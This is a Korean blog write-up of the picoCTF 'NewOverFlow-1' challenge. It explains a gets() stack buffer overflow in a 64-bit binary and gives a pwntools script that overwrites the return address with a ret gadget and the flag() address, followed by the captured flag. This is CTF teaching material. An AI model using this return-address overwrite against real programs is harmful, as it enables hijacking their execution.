ii4gsp

picoCTF - NewOverFlow-1 본문

시스템 해킹/CTF

picoCTF - NewOverFlow-1

ii4gsp 2020. 3. 10. 20:00

 

 

 

 

64bit 바이너리이다.

main()함수에서 vuln()함수를 호출한다.

 

 

 

 

vuln()함수에서 gets()함수로 v1에 입력을받는다.

v1은 rbp-40에 위치한다.

v1 ~ sfp = 64

v1 ~ ret = 72

72byte dummy를 주고 ret를 flag()함수로 조작해주면 된다.

 

 

 

 

from pwn import *

s = ssh(host = '2019shell1.picoctf.com', user = '', password = '')
s.set_working_directory('/problems/newoverflow-1_4_3fc8f7e1553d8d36ded1be37c306f3a4')
p = s.process('./vuln')
e = ELF('/home/ii4gsp/picoCTF/vuln')

flag = e.symbols['flag']

ret = 0x4008dc

payload = ''
payload += '\x90' * 72
payload += p64(ret)
payload += p64(flag)

p.sendline(payload)

p.interactive()

 

 

 

 

Flag: picoCTF{th4t_w4snt_t00_d1ff3r3nt_r1ghT?_72d3e39f}

'시스템 해킹 > CTF' 카테고리의 다른 글

[PlaidCTF 2013] ropasaurusrex  (0) 2020.03.13
picoCTF - NewOverFlow-2  (0) 2020.03.10
picoCTF - CanaRy  (0) 2020.03.10
picoCTF - leap-frog  (0) 2020.03.10
picoCTF - slippery-shellcode  (0) 2020.03.06
Comments